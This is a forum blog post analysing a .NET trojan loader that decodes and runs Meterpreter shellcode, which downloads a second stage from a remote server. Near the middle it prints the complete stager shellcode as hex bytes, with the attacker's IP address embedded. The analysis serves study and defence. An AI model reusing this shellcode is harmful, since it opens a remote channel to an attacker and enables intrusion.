查看原文
其他

HW前期之分析一款远控木马

jishuzhain 看雪学院 2021-03-07

本文为看雪论坛优秀文章

看雪论坛作者ID:jishuzhain



每年的活动又要开始了呀,无意在网上冲浪的时候发现了这个木马,估计是攻击队留下的痕迹,前期做准备的,感觉这样很有趣,在攻防中不断成长呢!


猜测是采用常规的钓鱼邮件的方式,图标伪装。


刚开始免杀效果还可以,如下:


查询时发现是 .NET 平台编写的恶意文件,没有加壳也没有混淆。


原始文件名为“增量更新包”,程序里方法很少。


进入入口点,原始文件名为“壳程序”,说明很大概率这个只是个下载器或者外壳程序,变量 text 有点特殊,感觉类似 base64 编码过。


大致看了下程序流程,会反转 text 变量的值,然后解码之后调用 invoke 加载执行。


字符串反转,如下:


动态调试下,获取shellcode。


提取出来,查询如下:


依然还是 .NET 程序,没有加壳没有混淆,文件名果然很直接......哈哈,是“免杀”,看到 VritualAlloc 很大概率会是内存执行恶意代码。


同样在入口点存在大量的字节数据:


查看程序逻辑后发现会新建线程执行,所以动态调试下获取真实的shellcode。


将 shellcode 提取出来,如下是十六进制:

\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07\xFF\xD5\xE8\x00\x00\x00\x00\x31\xFF\x57\x57\x57\x57\x57\x68\x3A\x56\x79\xA7\xFF\xD5\xE9\xA4\x00\x00\x00\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x59\x1F\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\x50\xE9\x8C\x00\x00\x00\x5B\x31\xD2\x52\x68\x00\x32\xC0\x84\x52\x52\x52\x53\x52\x50\x68\xEB\x55\x2E\x3B\xFF\xD5\x89\xC6\x83\xC3\x50\x68\x80\x33\x00\x00\x89\xE0\x6A\x04\x50\x6A\x1F\x56\x68\x75\x46\x9E\x86\xFF\xD5\x5F\x31\xFF\x57\x57\x6A\xFF\x53\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x0F\x84\xCA\x01\x00\x00\x31\xFF\x85\xF6\x74\x04\x89\xF9\xEB\x09\x68\xAA\xC5\xE2\x5D\xFF\xD5\x89\xC1\x68\x45\x21\x5E\x31\xFF\xD5\x31\xFF\x57\x6A\x07\x51\x56\x50\x68\xB7\x57\xE0\x0B\xFF\xD5\xBF\x00\x2F\x00\x00\x39\xC7\x75\x07\x58\x50\xE9\x7B\xFF\xFF\xFF\x31\xFF\xE9\x91\x01\x00\x00\xE9\xC9\x01\x00\x00\xE8\x6F\xFF\xFF\xFF\x2F\x72\x70\x63\x00\x11\xA4\x39\x63\xA3\x4A\xE7\x51\x65\x25\xB4\xDF\x99\x12\x59\x96\x6F\x3C\x24\x0D\x59\x9B\x02\x06\xDF\xB0\x8B\x46\xEF\xD8\xEE\x69\x1D\xEE\xC3\x0F\x8D\x0D\x16\xF7\x2B\x59\xE2\x1A\x46\x0B\xF7\xD0\x18\xD9\xAB\x33\x31\x09\x6C\x05\x07\x19\xA2\x28\x10\x1D\x21\xFD\x8A\x63\x3A\x93\xD3\xFD\x8D\xA5\xB0\x83\x00\x41\x63\x63\x65\x70\x74\x3A\x20\x2A\x2F\x2A\x0D\x0A\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74\x3A\x20\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E\x30\x20\x28\x57\x69\x6E\x64\x6F\x77\x73\x20\x4E\x54\x20\x36\x2E\x31\x29\x20\x41\x70\x70\x6C\x65\x57\x65\x62\x4B\x69\x74\x2F\x35\x33\x37\x2E\x33\x36\x20\x28\x4B\x48\x54\x4D\x4C\x2C\x20\x6C\x69\x6B\x65\x20\x47\x65\x63\x6B\x6F\x29\x0D\x0A\x00\x90\x27\x9D\xCE\xF6\x28\x5C\x9A\x20\xC8\xE7\xD2\xDA\x38\x68\xAE\x1D\x02\xF3\x8D\xEC\xE7\x72\x9C\xF0\x00\xE6\xC1\x66\x21\x3B\x92\xF0\x42\x58\xA9\x95\xE1\xF4\xD7\x59\xE7\xD9\x06\x7D\x45\x5C\xCB\xF8\xC2\x4E\xBC\xEA\x3D\x60\xE5\xB3\xAF\xD8\xD0\x48\x61\x2A\x64\x5F\x07\xBE\x66\x0B\x82\x1C\x56\x07\x86\xF8\x30\x14\x17\x71\xB1\x95\xB5\x96\xC8\xF3\x30\x99\x64\x15\xE2\x4C\xC0\x33\x31\x36\x70\x69\xB2\x98\x64\x29\x34\xA1\x78\xEA\x73\xFC\xD5\xC2\x32\x9F\x8F\xD9\x88\xB1\x59\x8A\xA3\xD8\x06\xAA\xD2\xDA\x66\x16\xA3\xC4\xF9\x6A\xBA\x48\x33\x83\xF8\xC1\x95\xD8\xC9\x6A\x16\x8A\xE2\x1D\x91\xC9\xF7\x15\xE6\x12\xE3\x10\x58\x21\x8A\x18\x04\x5C\x38\xFA\x80\xD5\xF9\x3F\xE6\x9C\x40\xD4\xC9\xA1\xEB\x4F\xE7\x77\x24\x2C\xB2\x1F\xE1\x0B\x46\x56\x77\x1D\x7D\x70\x3B\xE4\xDD\x11\x6E\x5D\x69\x1D\x7F\x19\x0C\xE1\x33\x30\x60\xA6\x85\xC8\xCD\xD0\xAD\x1E\x00\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\xB9\x00\x00\x00\x00\x01\xD9\x51\x53\x89\xE7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xC6\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x89\xFD\xFF\xFF\x31\x31\x34\x2E\x36\x37\x2E\x31\x30\x37\x2E\x35\x37\x00\x09\xE3\x92\x0D

反汇编如下,发现很明显的 meterpreter 后门特征。


.NET 不好调试 shellcode 线程,于是编写一段代码,进行调试。


加载后来到 shellcode 入口,如下:


设置执行权限:


前面是很常规的 API hash 比较加载对应的函数,便于后续使用。





发现一个 URL 地址,如果服务还在的话直接访问会下载到 rpc 文件,其实是第二阶段的 shellcode。


接下就会发起 HTTP 请求,以 GET 方式获取第二阶段 shellcode。

Accept: */*..User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko).


会收集一些系统信息,如下:



下载到第二阶段 shellcode 后,内存分配空间加载执行。




读取服务端返回的数据成功。


通过入栈返回跳转的方式去执行这一阶段 shellcode。


异或解密 shellcode,如下:


加载 dll:


设置内存访问权限:


执行新的入口点,如下:


第二阶段 shellcode 接着异或 0x69 解密,如下:


解密请求配置"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)",如下:


访问服务端入口,如下:





查看响应值是否为200,之后读取返回的数据。


请求的数据如下,由于全程采用 https 通信,所以是加密的。



昨晚太累了,就睡了,本来今早起来想继续分析的,然而起来后发现服务端就停止服务了,是被察觉了吗?不得而知,服务持续了大概几天时间。




- End -




看雪ID:jishuzhain

https://bbs.pediy.com/user-678001.htm

  *本文由看雪论坛 jishuzhain 原创,转载请注明来自看雪社区。




推荐文章++++

* 恶意样本分析学习—GlobeImposter3.0勒索病毒分析

* 逆向学习sgavmp篇

* 2020网鼎杯 青龙组 Android逆向题 rev01 WP

* Youpk: 又一款基于ART的主动调用的脱壳机

* 新手系列教程——用bfinject脱壳、注入自己的动态framework、cycript的使用



好书推荐







公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



“阅读原文”一起来充电吧!

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存